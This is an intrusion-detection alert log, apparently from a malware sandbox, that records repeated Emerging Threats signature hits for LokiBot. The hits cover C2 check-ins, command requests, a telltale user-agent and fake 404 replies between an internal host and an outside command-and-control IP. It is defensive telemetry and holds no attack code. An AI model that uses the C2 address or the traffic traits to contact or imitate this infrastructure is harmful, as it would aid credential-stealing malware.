03/15/21-20:01:29.706804	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49733	87.251.79.157	192.168.2.5
03/15/21-20:01:29.958482	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49734	80	192.168.2.5	87.251.79.157
03/15/21-20:01:29.958482	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49734	80	192.168.2.5	87.251.79.157
03/15/21-20:01:29.958482	TCP	2025381	ET TROJAN LokiBot Checkin	49734	80	192.168.2.5	87.251.79.157
03/15/21-20:01:29.958482	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49734	80	192.168.2.5	87.251.79.157
03/15/21-20:01:30.265339	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49734	87.251.79.157	192.168.2.5
03/15/21-20:01:30.516411	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49735	80	192.168.2.5	87.251.79.157
03/15/21-20:01:30.516411	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49735	80	192.168.2.5	87.251.79.157
03/15/21-20:01:30.516411	TCP	2025381	ET TROJAN LokiBot Checkin	49735	80	192.168.2.5	87.251.79.157
03/15/21-20:01:30.516411	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49735	80	192.168.2.5	87.251.79.157
03/15/21-20:01:30.769006	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49735	87.251.79.157	192.168.2.5
03/15/21-20:01:31.008223	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49736	80	192.168.2.5	87.251.79.157
03/15/21-20:01:31.008223	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49736	80	192.168.2.5	87.251.79.157
03/15/21-20:01:31.008223	TCP	2025381	ET TROJAN LokiBot Checkin	49736	80	192.168.2.5	87.251.79.157
03/15/21-20:01:31.008223	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49736	80	192.168.2.5	87.251.79.157
03/15/21-20:01:31.407385	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49736	87.251.79.157	192.168.2.5
03/15/21-20:01:31.655733	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49737	80	192.168.2.5	87.251.79.157
03/15/21-20:01:31.655733	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49737	80	192.168.2.5	87.251.79.157
03/15/21-20:01:31.655733	TCP	2025381	ET TROJAN LokiBot Checkin	49737	80	192.168.2.5	87.251.79.157
03/15/21-20:01:31.655733	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49737	80	192.168.2.5	87.251.79.157
03/15/21-20:01:32.298559	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49737	87.251.79.157	192.168.2.5
03/15/21-20:01:32.541887	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49738	80	192.168.2.5	87.251.79.157
03/15/21-20:01:32.541887	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49738	80	192.168.2.5	87.251.79.157
03/15/21-20:01:32.541887	TCP	2025381	ET TROJAN LokiBot Checkin	49738	80	192.168.2.5	87.251.79.157
03/15/21-20:01:32.541887	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49738	80	192.168.2.5	87.251.79.157
03/15/21-20:01:33.109786	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49738	87.251.79.157	192.168.2.5
03/15/21-20:01:33.365221	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49739	80	192.168.2.5	87.251.79.157
03/15/21-20:01:33.365221	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49739	80	192.168.2.5	87.251.79.157
03/15/21-20:01:33.365221	TCP	2025381	ET TROJAN LokiBot Checkin	49739	80	192.168.2.5	87.251.79.157
03/15/21-20:01:33.365221	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49739	80	192.168.2.5	87.251.79.157
03/15/21-20:01:33.615085	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49739	87.251.79.157	192.168.2.5
03/15/21-20:01:33.848929	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49740	80	192.168.2.5	87.251.79.157
03/15/21-20:01:33.848929	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49740	80	192.168.2.5	87.251.79.157
03/15/21-20:01:33.848929	TCP	2025381	ET TROJAN LokiBot Checkin	49740	80	192.168.2.5	87.251.79.157
03/15/21-20:01:33.848929	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49740	80	192.168.2.5	87.251.79.157
03/15/21-20:01:34.100251	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49740	87.251.79.157	192.168.2.5
03/15/21-20:01:34.358578	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49741	80	192.168.2.5	87.251.79.157
03/15/21-20:01:34.358578	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49741	80	192.168.2.5	87.251.79.157
03/15/21-20:01:34.358578	TCP	2025381	ET TROJAN LokiBot Checkin	49741	80	192.168.2.5	87.251.79.157
03/15/21-20:01:34.358578	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49741	80	192.168.2.5	87.251.79.157
03/15/21-20:01:34.628393	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49741	87.251.79.157	192.168.2.5
03/15/21-20:01:34.878601	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49742	80	192.168.2.5	87.251.79.157
03/15/21-20:01:34.878601	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49742	80	192.168.2.5	87.251.79.157
03/15/21-20:01:34.878601	TCP	2025381	ET TROJAN LokiBot Checkin	49742	80	192.168.2.5	87.251.79.157
03/15/21-20:01:34.878601	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49742	80	192.168.2.5	87.251.79.157
03/15/21-20:01:35.166644	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49742	87.251.79.157	192.168.2.5
03/15/21-20:01:35.414646	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49743	80	192.168.2.5	87.251.79.157
03/15/21-20:01:35.414646	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49743	80	192.168.2.5	87.251.79.157
03/15/21-20:01:35.414646	TCP	2025381	ET TROJAN LokiBot Checkin	49743	80	192.168.2.5	87.251.79.157
03/15/21-20:01:35.414646	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49743	80	192.168.2.5	87.251.79.157
03/15/21-20:01:37.513857	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49743	87.251.79.157	192.168.2.5
03/15/21-20:01:37.905678	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49744	80	192.168.2.5	87.251.79.157
03/15/21-20:01:37.905678	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49744	80	192.168.2.5	87.251.79.157
03/15/21-20:01:37.905678	TCP	2025381	ET TROJAN LokiBot Checkin	49744	80	192.168.2.5	87.251.79.157
03/15/21-20:01:37.905678	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49744	80	192.168.2.5	87.251.79.157
03/15/21-20:01:38.861871	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49744	87.251.79.157	192.168.2.5
03/15/21-20:01:39.134248	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49745	80	192.168.2.5	87.251.79.157
03/15/21-20:01:39.134248	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49745	80	192.168.2.5	87.251.79.157
03/15/21-20:01:39.134248	TCP	2025381	ET TROJAN LokiBot Checkin	49745	80	192.168.2.5	87.251.79.157
03/15/21-20:01:39.134248	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49745	80	192.168.2.5	87.251.79.157
03/15/21-20:01:39.420018	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49745	87.251.79.157	192.168.2.5
03/15/21-20:01:39.905942	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49746	80	192.168.2.5	87.251.79.157
03/15/21-20:01:39.905942	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49746	80	192.168.2.5	87.251.79.157
03/15/21-20:01:39.905942	TCP	2025381	ET TROJAN LokiBot Checkin	49746	80	192.168.2.5	87.251.79.157
03/15/21-20:01:39.905942	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49746	80	192.168.2.5	87.251.79.157
03/15/21-20:01:40.780756	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49746	87.251.79.157	192.168.2.5
03/15/21-20:01:41.068304	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49747	80	192.168.2.5	87.251.79.157
03/15/21-20:01:41.068304	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49747	80	192.168.2.5	87.251.79.157
03/15/21-20:01:41.068304	TCP	2025381	ET TROJAN LokiBot Checkin	49747	80	192.168.2.5	87.251.79.157
03/15/21-20:01:41.068304	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49747	80	192.168.2.5	87.251.79.157
03/15/21-20:01:41.614192	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49747	87.251.79.157	192.168.2.5
03/15/21-20:01:41.839658	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49748	80	192.168.2.5	87.251.79.157
03/15/21-20:01:41.839658	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49748	80	192.168.2.5	87.251.79.157
03/15/21-20:01:41.839658	TCP	2025381	ET TROJAN LokiBot Checkin	49748	80	192.168.2.5	87.251.79.157
03/15/21-20:01:41.839658	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49748	80	192.168.2.5	87.251.79.157
03/15/21-20:01:42.790277	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49748	87.251.79.157	192.168.2.5
03/15/21-20:01:43.049676	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49749	80	192.168.2.5	87.251.79.157
03/15/21-20:01:43.049676	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49749	80	192.168.2.5	87.251.79.157
03/15/21-20:01:43.049676	TCP	2025381	ET TROJAN LokiBot Checkin	49749	80	192.168.2.5	87.251.79.157
03/15/21-20:01:43.049676	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49749	80	192.168.2.5	87.251.79.157
03/15/21-20:01:43.664398	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49749	87.251.79.157	192.168.2.5
03/15/21-20:01:43.914421	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49750	80	192.168.2.5	87.251.79.157
03/15/21-20:01:43.914421	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49750	80	192.168.2.5	87.251.79.157
03/15/21-20:01:43.914421	TCP	2025381	ET TROJAN LokiBot Checkin	49750	80	192.168.2.5	87.251.79.157
03/15/21-20:01:43.914421	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49750	80	192.168.2.5	87.251.79.157
03/15/21-20:01:44.222182	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49750	87.251.79.157	192.168.2.5
03/15/21-20:01:44.462000	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49751	80	192.168.2.5	87.251.79.157
03/15/21-20:01:44.462000	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49751	80	192.168.2.5	87.251.79.157
03/15/21-20:01:44.462000	TCP	2025381	ET TROJAN LokiBot Checkin	49751	80	192.168.2.5	87.251.79.157
03/15/21-20:01:44.462000	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49751	80	192.168.2.5	87.251.79.157
03/15/21-20:01:44.709526	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49751	87.251.79.157	192.168.2.5
03/15/21-20:01:44.936401	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49752	80	192.168.2.5	87.251.79.157
03/15/21-20:01:44.936401	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49752	80	192.168.2.5	87.251.79.157
03/15/21-20:01:44.936401	TCP	2025381	ET TROJAN LokiBot Checkin	49752	80	192.168.2.5	87.251.79.157
03/15/21-20:01:44.936401	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49752	80	192.168.2.5	87.251.79.157
03/15/21-20:01:45.928818	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49752	87.251.79.157	192.168.2.5
03/15/21-20:01:46.167455	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49753	80	192.168.2.5	87.251.79.157
03/15/21-20:01:46.167455	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49753	80	192.168.2.5	87.251.79.157
03/15/21-20:01:46.167455	TCP	2025381	ET TROJAN LokiBot Checkin	49753	80	192.168.2.5	87.251.79.157
03/15/21-20:01:46.167455	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49753	80	192.168.2.5	87.251.79.157
03/15/21-20:01:46.622527	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49753	87.251.79.157	192.168.2.5
03/15/21-20:01:46.877666	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49754	80	192.168.2.5	87.251.79.157
03/15/21-20:01:46.877666	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49754	80	192.168.2.5	87.251.79.157
03/15/21-20:01:46.877666	TCP	2025381	ET TROJAN LokiBot Checkin	49754	80	192.168.2.5	87.251.79.157
03/15/21-20:01:46.877666	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49754	80	192.168.2.5	87.251.79.157
03/15/21-20:01:47.542125	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49754	87.251.79.157	192.168.2.5
03/15/21-20:01:47.791489	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49755	80	192.168.2.5	87.251.79.157
03/15/21-20:01:47.791489	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49755	80	192.168.2.5	87.251.79.157
03/15/21-20:01:47.791489	TCP	2025381	ET TROJAN LokiBot Checkin	49755	80	192.168.2.5	87.251.79.157
03/15/21-20:01:47.791489	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49755	80	192.168.2.5	87.251.79.157
03/15/21-20:01:48.513505	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49755	87.251.79.157	192.168.2.5
03/15/21-20:01:48.767345	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49756	80	192.168.2.5	87.251.79.157
03/15/21-20:01:48.767345	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49756	80	192.168.2.5	87.251.79.157
03/15/21-20:01:48.767345	TCP	2025381	ET TROJAN LokiBot Checkin	49756	80	192.168.2.5	87.251.79.157
03/15/21-20:01:48.767345	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49756	80	192.168.2.5	87.251.79.157
03/15/21-20:01:49.270062	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49756	87.251.79.157	192.168.2.5
03/15/21-20:01:49.520613	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49757	80	192.168.2.5	87.251.79.157
03/15/21-20:01:49.520613	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49757	80	192.168.2.5	87.251.79.157
03/15/21-20:01:49.520613	TCP	2025381	ET TROJAN LokiBot Checkin	49757	80	192.168.2.5	87.251.79.157
03/15/21-20:01:49.520613	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49757	80	192.168.2.5	87.251.79.157
03/15/21-20:01:49.785250	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49757	87.251.79.157	192.168.2.5
03/15/21-20:01:50.051361	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49758	80	192.168.2.5	87.251.79.157
03/15/21-20:01:50.051361	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49758	80	192.168.2.5	87.251.79.157
03/15/21-20:01:50.051361	TCP	2025381	ET TROJAN LokiBot Checkin	49758	80	192.168.2.5	87.251.79.157
03/15/21-20:01:50.051361	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49758	80	192.168.2.5	87.251.79.157
03/15/21-20:01:50.317365	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49758	87.251.79.157	192.168.2.5
03/15/21-20:01:50.560163	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49759	80	192.168.2.5	87.251.79.157
03/15/21-20:01:50.560163	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49759	80	192.168.2.5	87.251.79.157
03/15/21-20:01:50.560163	TCP	2025381	ET TROJAN LokiBot Checkin	49759	80	192.168.2.5	87.251.79.157
03/15/21-20:01:50.560163	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49759	80	192.168.2.5	87.251.79.157
03/15/21-20:01:50.805489	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49759	87.251.79.157	192.168.2.5
03/15/21-20:01:51.055531	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49760	80	192.168.2.5	87.251.79.157
03/15/21-20:01:51.055531	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49760	80	192.168.2.5	87.251.79.157
03/15/21-20:01:51.055531	TCP	2025381	ET TROJAN LokiBot Checkin	49760	80	192.168.2.5	87.251.79.157
03/15/21-20:01:51.055531	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49760	80	192.168.2.5	87.251.79.157
03/15/21-20:01:51.371976	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49760	87.251.79.157	192.168.2.5
03/15/21-20:01:51.624270	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49761	80	192.168.2.5	87.251.79.157
03/15/21-20:01:51.624270	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49761	80	192.168.2.5	87.251.79.157
03/15/21-20:01:51.624270	TCP	2025381	ET TROJAN LokiBot Checkin	49761	80	192.168.2.5	87.251.79.157
03/15/21-20:01:51.624270	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49761	80	192.168.2.5	87.251.79.157
03/15/21-20:01:51.938138	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49761	87.251.79.157	192.168.2.5
03/15/21-20:01:52.186493	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49762	80	192.168.2.5	87.251.79.157
03/15/21-20:01:52.186493	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49762	80	192.168.2.5	87.251.79.157
03/15/21-20:01:52.186493	TCP	2025381	ET TROJAN LokiBot Checkin	49762	80	192.168.2.5	87.251.79.157
03/15/21-20:01:52.186493	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49762	80	192.168.2.5	87.251.79.157
03/15/21-20:01:52.449353	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49762	87.251.79.157	192.168.2.5
03/15/21-20:01:52.696929	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49763	80	192.168.2.5	87.251.79.157
03/15/21-20:01:52.696929	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49763	80	192.168.2.5	87.251.79.157
03/15/21-20:01:52.696929	TCP	2025381	ET TROJAN LokiBot Checkin	49763	80	192.168.2.5	87.251.79.157
03/15/21-20:01:52.696929	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49763	80	192.168.2.5	87.251.79.157
03/15/21-20:01:53.726037	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49763	87.251.79.157	192.168.2.5
03/15/21-20:01:53.959341	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49764	80	192.168.2.5	87.251.79.157
03/15/21-20:01:53.959341	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49764	80	192.168.2.5	87.251.79.157
03/15/21-20:01:53.959341	TCP	2025381	ET TROJAN LokiBot Checkin	49764	80	192.168.2.5	87.251.79.157
03/15/21-20:01:53.959341	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49764	80	192.168.2.5	87.251.79.157
03/15/21-20:01:54.642891	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49764	87.251.79.157	192.168.2.5
03/15/21-20:01:54.879328	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49765	80	192.168.2.5	87.251.79.157
03/15/21-20:01:54.879328	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49765	80	192.168.2.5	87.251.79.157
03/15/21-20:01:54.879328	TCP	2025381	ET TROJAN LokiBot Checkin	49765	80	192.168.2.5	87.251.79.157
03/15/21-20:01:54.879328	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49765	80	192.168.2.5	87.251.79.157
03/15/21-20:01:55.280209	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49765	87.251.79.157	192.168.2.5
03/15/21-20:01:55.525891	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49766	80	192.168.2.5	87.251.79.157
03/15/21-20:01:55.525891	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49766	80	192.168.2.5	87.251.79.157
03/15/21-20:01:55.525891	TCP	2025381	ET TROJAN LokiBot Checkin	49766	80	192.168.2.5	87.251.79.157
03/15/21-20:01:55.525891	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49766	80	192.168.2.5	87.251.79.157
03/15/21-20:01:55.944955	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49766	87.251.79.157	192.168.2.5
03/15/21-20:01:56.202304	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49767	80	192.168.2.5	87.251.79.157
03/15/21-20:01:56.202304	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49767	80	192.168.2.5	87.251.79.157
03/15/21-20:01:56.202304	TCP	2025381	ET TROJAN LokiBot Checkin	49767	80	192.168.2.5	87.251.79.157
03/15/21-20:01:56.202304	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49767	80	192.168.2.5	87.251.79.157
03/15/21-20:01:57.125554	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49767	87.251.79.157	192.168.2.5
03/15/21-20:01:57.369297	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49768	80	192.168.2.5	87.251.79.157
03/15/21-20:01:57.369297	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49768	80	192.168.2.5	87.251.79.157
03/15/21-20:01:57.369297	TCP	2025381	ET TROJAN LokiBot Checkin	49768	80	192.168.2.5	87.251.79.157
03/15/21-20:01:57.369297	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49768	80	192.168.2.5	87.251.79.157
03/15/21-20:01:58.576225	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49768	87.251.79.157	192.168.2.5
03/15/21-20:01:58.816874	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49769	80	192.168.2.5	87.251.79.157
03/15/21-20:01:58.816874	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49769	80	192.168.2.5	87.251.79.157
03/15/21-20:01:58.816874	TCP	2025381	ET TROJAN LokiBot Checkin	49769	80	192.168.2.5	87.251.79.157
03/15/21-20:01:58.816874	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49769	80	192.168.2.5	87.251.79.157
03/15/21-20:02:01.043610	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49769	87.251.79.157	192.168.2.5
03/15/21-20:02:01.283553	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49770	80	192.168.2.5	87.251.79.157
03/15/21-20:02:01.283553	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49770	80	192.168.2.5	87.251.79.157
03/15/21-20:02:01.283553	TCP	2025381	ET TROJAN LokiBot Checkin	49770	80	192.168.2.5	87.251.79.157
03/15/21-20:02:01.283553	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49770	80	192.168.2.5	87.251.79.157
03/15/21-20:02:02.824487	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49770	87.251.79.157	192.168.2.5
03/15/21-20:02:03.077740	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49771	80	192.168.2.5	87.251.79.157
03/15/21-20:02:03.077740	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49771	80	192.168.2.5	87.251.79.157
03/15/21-20:02:03.077740	TCP	2025381	ET TROJAN LokiBot Checkin	49771	80	192.168.2.5	87.251.79.157
03/15/21-20:02:03.077740	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49771	80	192.168.2.5	87.251.79.157
03/15/21-20:02:04.348325	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49771	87.251.79.157	192.168.2.5
03/15/21-20:02:04.590108	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49772	80	192.168.2.5	87.251.79.157
03/15/21-20:02:04.590108	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49772	80	192.168.2.5	87.251.79.157
03/15/21-20:02:04.590108	TCP	2025381	ET TROJAN LokiBot Checkin	49772	80	192.168.2.5	87.251.79.157
03/15/21-20:02:04.590108	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49772	80	192.168.2.5	87.251.79.157
03/15/21-20:02:04.969626	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49772	87.251.79.157	192.168.2.5
03/15/21-20:02:05.213260	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49773	80	192.168.2.5	87.251.79.157
03/15/21-20:02:05.213260	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49773	80	192.168.2.5	87.251.79.157
03/15/21-20:02:05.213260	TCP	2025381	ET TROJAN LokiBot Checkin	49773	80	192.168.2.5	87.251.79.157
03/15/21-20:02:05.213260	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49773	80	192.168.2.5	87.251.79.157
03/15/21-20:02:06.222766	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49773	87.251.79.157	192.168.2.5
03/15/21-20:02:06.466253	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49774	80	192.168.2.5	87.251.79.157
03/15/21-20:02:06.466253	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49774	80	192.168.2.5	87.251.79.157
03/15/21-20:02:06.466253	TCP	2025381	ET TROJAN LokiBot Checkin	49774	80	192.168.2.5	87.251.79.157
03/15/21-20:02:06.466253	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49774	80	192.168.2.5	87.251.79.157
03/15/21-20:02:06.855093	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49774	87.251.79.157	192.168.2.5
03/15/21-20:02:07.107955	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49775	80	192.168.2.5	87.251.79.157
03/15/21-20:02:07.107955	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49775	80	192.168.2.5	87.251.79.157
03/15/21-20:02:07.107955	TCP	2025381	ET TROJAN LokiBot Checkin	49775	80	192.168.2.5	87.251.79.157
03/15/21-20:02:07.107955	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49775	80	192.168.2.5	87.251.79.157
03/15/21-20:02:07.447950	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49775	87.251.79.157	192.168.2.5
03/15/21-20:02:07.692995	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49776	80	192.168.2.5	87.251.79.157
03/15/21-20:02:07.692995	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49776	80	192.168.2.5	87.251.79.157
03/15/21-20:02:07.692995	TCP	2025381	ET TROJAN LokiBot Checkin	49776	80	192.168.2.5	87.251.79.157
03/15/21-20:02:07.692995	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49776	80	192.168.2.5	87.251.79.157
03/15/21-20:02:08.081755	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49776	87.251.79.157	192.168.2.5
03/15/21-20:02:08.323690	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49777	80	192.168.2.5	87.251.79.157
03/15/21-20:02:08.323690	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49777	80	192.168.2.5	87.251.79.157
03/15/21-20:02:08.323690	TCP	2025381	ET TROJAN LokiBot Checkin	49777	80	192.168.2.5	87.251.79.157
03/15/21-20:02:08.323690	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49777	80	192.168.2.5	87.251.79.157
